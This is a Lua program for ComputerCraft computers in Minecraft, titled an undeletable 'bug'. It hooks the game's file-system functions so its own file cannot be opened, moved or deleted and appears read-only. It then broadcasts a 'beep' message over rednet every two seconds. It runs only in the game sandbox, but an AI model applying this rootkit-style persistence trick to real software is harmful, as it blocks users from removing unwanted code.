Undeletable Rednet Bug

--Undeletable Rednet 'Bug' program

bugDelay = 2 --in seconds
bugMessage = "beep"
bugSendID = nil

name = fs.getName(shell.getRunningProgram())
if not alreadyDone == true then
    oldfsopen = fs.open
    oldisreadonly = fs.isReadOnly
    oldfsdelete = fs.delete
    oldfsmove = fs.move
    fs.open = function(path, mode)
        if fs.getName(path) ~= fs.getName(name) then
            return oldfsopen(path, mode)
        end
    end
    fs.isReadOnly = function(path)
        if fs.getName(path) ~= fs.getName(name) then
            return oldisreadonly(path)
        else
            return true
        end
    end
    fs.delete = function(path)
        if fs.getName(path) ~= fs.getName(name) then
            return oldfsdelete(path)
        else
            return
        end
    end
    fs.move = function(path, dest)
        if fs.getName(path) ~= fs.getName(name) then
            return oldfsmove(path, dest)
        else
            return
        end
    end
end
alreadyDone = true

sides = {"left","right","front","back","top","bottom"}
for a = 1, #sides do
    if peripheral.getType(sides[a]) == "modem" then
        rednet.open(sides[a])
    end
end

function bug()
    while true do
        if bugSendID then
            rednet.send(bugSendID, bugMessage)
        else
            rednet.broadcast(bugMessage)
        end
        sleep(bugDelay)
    end
end

function runShell()
    shell.run("shell")
end

term.clear()
term.setCursorPos(1,1)

parallel.waitForAny(runShell, bug)

if term.isColor() then term.setTextColor(colors.yellow) end
print("Goodbye")
sleep(1)
os.shutdown()